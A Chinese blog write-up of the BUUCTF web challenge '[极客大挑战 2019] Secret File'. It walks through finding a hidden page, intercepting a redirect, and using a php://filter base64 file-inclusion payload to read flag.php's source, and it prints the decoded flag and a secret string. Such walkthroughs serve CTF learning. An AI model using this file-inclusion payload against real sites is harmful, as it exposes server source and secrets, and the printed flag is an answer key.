BUUCTF_Web_[极客大挑战 2019]Secret File

最新推荐文章于 2023-03-05 16:21:28 发布

阿刁〇하

最新推荐文章于 2023-03-05 16:21:28 发布

阅读量153

点赞数

分类专栏： BUUCTF

本文链接：https://blog.csdn.net/weixin_52250313/article/details/119215967

版权

BUUCTF 专栏收录该内容

10 篇文章 1 订阅

订阅专栏

BUUCTF_Web_[极客大挑战 2019]Secret File

首先打开靶机

在这里插入图片描述

查看网页源码

在这里插入图片描述

会发现隐藏的./Archive_room.php

点击进入

在这里插入图片描述

查看源码

在这里插入图片描述

发现了./action.php

点击该链接后网页迅速跳转到end.php

尝试拦截action.php，抓包

在这里插入图片描述

在抓到的包中，我们可以看到上面一段代码

发现了secr3t.php文件，访问该文件

在这里插入图片描述

通过提示，访问flag.php文件

在这里插入图片描述

大佬思路：刚开始我们以为还是像之前一样用背景把flag给覆盖掉了，但是通过查看页面源代码发现并没有将flag写出来。根据提示我们可以肯定flag确实是在这里，但是前端却看不到，我们猜测flag是写在了php代码里面。那么怎样来获取完整的flag.php文件呢？我们立马想到了secr3t.php的文件包含漏洞

传入的file经过了一些过滤，但是没有过滤filter，我们可以用php://fileter来获取文件。

构造：secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php 在这里插入图片描述

猜测该flag.php经过了base64加密，解密后得到flag

在这里插入图片描述

<!DOCTYPE html>

<html>

<head>
    <meta charset="utf-8">
    <title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>
    
    <h1 style="font-family:verdana;color:red;text-align:center;">啊哈！你找到我了！可是你看不到我QAQ~~~</h1><br><br><br>
    
    <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
        <?php
            echo "我就在这里";
            $flag = 'flag{123ab1ec-d3d1-49ad-8c68-8dd90c80d160}';
            $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
        ?>
    </p>
</body>

</html>

阿刁〇하

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
BUUCTF_Web_[极客大挑战 2019]Secret File

BUUCTF_Web_[极客大挑战 2019]Secret File首先打开靶机查看网页源码会发现隐藏的./Archive_room.php点击进入查看源码发现了./action.php点击该链接后网页迅速跳转到end.php尝试拦截action.php，抓包在抓到的包中，我们可以看到上面一段代码发现了secr3t.php文件，访问该文件通过提示，访问flag.php文件大佬思路：刚开始我们以为还是像之前一样用背景把flag给覆盖掉了，但是通过查看页面源代码发现并没有
复制链接

扫一扫